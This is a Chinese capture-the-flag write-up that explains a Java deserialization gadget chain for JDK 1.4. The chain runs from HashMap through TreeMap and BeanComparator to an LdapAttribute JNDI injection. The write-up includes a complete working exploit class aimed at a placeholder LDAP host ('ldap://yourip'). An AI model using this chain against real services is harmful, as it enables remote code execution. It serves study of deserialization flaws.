[TOC]
本题考查Gadget链的挖掘。题目中给的lib库中存在CommonsBeanutils这条链,根据ysoserial中的代码可知这条链的几个关键节点如下:
PriorityQueue.readObject() -> BeanComparator.compare() -> TemplatesImpl.getOutputProperties() -> rce
然而本题的jdk版本是1.4,不存在PriorityQueue
和TemplatesImpl
类。也就是说这条链的反序列化入口和执行rce的点都没了。年轻的我看到这里以为可能不是这条链,就略过了。然而这正是这道题的考点。
既然考的就是这个点,那么首先要确定缺哪些东西。除去刚刚说的少的入口和出口,留给我们的就只剩下:BeanComparator.compare() -> 执行getter
这条链。
链的入口需要执行compare()
,最后rce的地方则需要在一个getter
里。
这里就直接讲解作者给出的链了。
HashMap.readObject() -> HashMap.putForCreate() -> AbstractMap.equals() -> TreeMap.get() -> TreeMap.getEntry() -> BeanComparator.compare()
本质上是当HashMap进行反序列化时,每反序列化一对k-v,都会把这对k-v与之前的k-v的key进行对比。详见下面代码
private void putForCreate(K var1, V var2) { int var3 = var1 == null ? 0 : hash(var1.hashCode());//计算hashcode int var4 = indexFor(var3, this.table.length);//根据hashcode计算key在this.table中的索引数 for(HashMap.Entry var5 = this.table[var4]; var5 != null; var5 = var5.next) { Object var6; if (var5.hash == var3 && ((var6 = var5.key) == var1 || var1 != null && var1.equals(var6))) {//如果当前的hash与之前key的hash相同,则判断这两个key是否相等,即调用当前key对象的equals()方法来判断。在本gadget中,var1就是AbstractMap对象,但由于这是抽象类,因此使用子类来代替,刚好TreeMap正是其子类。 var5.value = var2;//如果相等,则更新之前key对应的value return; } } ... }
后面就不再说了
这是本题最精彩的地方,作者(膜拜voidfyoo师傅)直接给出了他发现的一条新的用于进行JNDI注入的getter gadget。
这个类就是com.sun.jndi.ldap.LdapAttribute
,其getAttributeDefinition()
方法存在ldap-jndi注入,可以进行rce。
public DirContext getAttributeDefinition() throws NamingException { DirContext var1 = this.getBaseCtx().getSchema(this.rdn); return (DirContext)var1.lookup("AttributeDefinition/" + this.getID()); }
刚看到这条链我以为是在var1.lookup(xx)【var1是LdapSchemaCtx对象】
时造成的JNDI注入,然而我在构造时发现无法进行注入,跟踪之后发现这里只能从已经bind的对象中查询,因此无法利用。
实际上的调用点是在
c_lookup:982, LdapCtx (com.sun.jndi.ldap)
c_resolveIntermediate_nns:152, ComponentContext (com.sun.jndi.toolkit.ctx)
c_resolveIntermediate_nns:342, AtomicContext (com.sun.jndi.toolkit.ctx)
p_resolveIntermediate:381, ComponentContext (com.sun.jndi.toolkit.ctx)
p_getSchema:408, ComponentDirContext (com.sun.jndi.toolkit.ctx)
getSchema:388, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
getSchema:189, InitialDirContext (javax.naming.directory)
getAttributeDefinition:191, LdapAttribute (com.sun.jndi.ldap)
至于作者是如何发现这么深的点的,还要从LDAP-JNDI注入的最底层开始说起。
回顾一下JNDI注入,写一个LDAP-JNDI注入来调试,
new InitialContext().lookup("ldap://ip/exp");
调试之后,到最终的decodeObject()
解析Reference对象之前(rce)的调用栈如下:
c_lookup:1032, LdapCtx (com.sun.jndi.ldap)
p_lookup:526, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:159, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:185, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:77, ldapURLContext (com.sun.jndi.url.ldap)
lookup:392, InitialContext (javax.naming)
因此,实际上除了InitialContext.lookup()
会造成LDAP-JNDI注入,以下的方法也可以用。
LdapCtx.c_lookup()
ComponentContext.p_lookup()
PartialCompositeContext.lookup()
GenericURLContext.lookup()
ldapURLContext.lookup()
InitialContext.lookup()
本题正是使用了LdapCtx.c_lookup()
。
已经知道了链的逻辑,然而在实际构造exp时还是有不少小坑点的,比如一开始我在构造最外层的HashMap对象时测试代码是这样写的:
TreeMap tm1 = new TreeMap(); TreeMap tm2 = new TreeMap(); tm1.put("111", "AAA"); tm2.put("111", "AAA"); HashMap hm = new HashMap(); hm.put(tm1, "111"); hm.put(tm2, "222");
然而这样构造最终的HashMap对象中实际上只有一个k-v对。因为在put时tm1.equals(tm2)是成立的,因此HashMap认为这是相同的对象,从而对这个key的value进行了更新。其实这里只要把两个TreeMap的key换成LdapAttribute对象实例就好了,而我当时以为只能通过反射来构造,便走了好长的一段弯路。
下面给出我最终构造出的exp
import org.apache.commons.beanutils.BeanComparator; import javax.naming.CompositeName; import javax.naming.directory.BasicAttribute; import javax.naming.directory.DirContext; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.lang.reflect.Modifier; import java.util.HashMap; import java.util.Map; import java.util.TreeMap; public class POC1 { public static void main(String[] args) { try{ BasicAttribute la = getGadgetObj();//获取LdapAttribute对象 BeanComparator bc = new BeanComparator("attributeDefinition"); HashMap hm = new HashMap(); TreeMap tm1 = new TreeMap(bc);//用于调用get() TreeMap tm2 = new TreeMap(bc);//用于调用equals() tm1.put("aaa", "AAA"); tm2.put(la, "BBB");//key处放LdapAttribute对象 hm.put(tm1, "111"); hm.put(tm2, "222"); //弯路,构造HashMap Field fi = hm.getClass().getDeclaredField("table"); fi.setAccessible(true); Map.Entry[] hmentry = (Map.Entry[]) fi.get(hm); int tablelength = hmentry.length; tm1.hashCode(); Method hash_mt = hm.getClass().getDeclaredMethod("hash", new Class[]{Object.class}); hash_mt.setAccessible(true); Object indexfor_arg1 = hash_mt.invoke(hm, new Object[]{(Object)(new Integer(tm1.hashCode()))});//获取tm1的hashcode Method indexfor_mt = hm.getClass().getDeclaredMethod("indexFor", new Class[]{int.class, int.class}); indexfor_mt.setAccessible(true); int final_index = Integer.parseInt(indexfor_mt.invoke(hm, new Object[]{new Integer(indexfor_arg1.toString()), new Integer(tablelength)}).toString()); Map.Entry me = ((Map.Entry[])hmentry)[final_index];//这是key为tm1的entry // System.out.println(me); Class entryclazz = Class.forName("java.util.HashMap$Entry"); Field key_fi = entryclazz.getDeclaredField("key"); key_fi.setAccessible(true); Field modifierField = Field.class.getDeclaredField("modifiers"); modifierField.setAccessible(true); modifierField.setInt(key_fi, key_fi.getModifiers() & ~Modifier.FINAL);//去掉final属性 key_fi.set(me, tm2.clone());//将HashMap中的key替换成tm2,使两个相同 //弯路结束 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hm); System.out.println("trying..."); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); HashMap hmhm = (HashMap)ois.readObject(); System.out.println("end..."); }catch (Exception e){ e.printStackTrace(); } } public static BasicAttribute getGadgetObj(){ try{ Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class}); clazz_cons.setAccessible(true); BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"exp"}); Field bcu_fi = clazz.getDeclaredField("baseCtxURL"); bcu_fi.setAccessible(true); bcu_fi.set(la, "ldap://yourip"); //不要调用getBaseCtx,否则序列化的时候,baseCtx属性会由于无法类型转换cast导致出错 // Method gbc_mt = clazz.getDeclaredMethod("getBaseCtx", new Class[]{}); // gbc_mt.setAccessible(true); // DirContext dc_1 = (DirContext)gbc_mt.invoke(la, new Object[]{}); CompositeName cn = new CompositeName(); cn.add("a"); cn.add("b"); Field rdn_fi = clazz.getDeclaredField("rdn"); rdn_fi.setAccessible(true); rdn_fi.set(la, cn); return la; }catch (Exception e){ e.printStackTrace(); } return null; } }
技术垃圾,如有错误大佬轻喷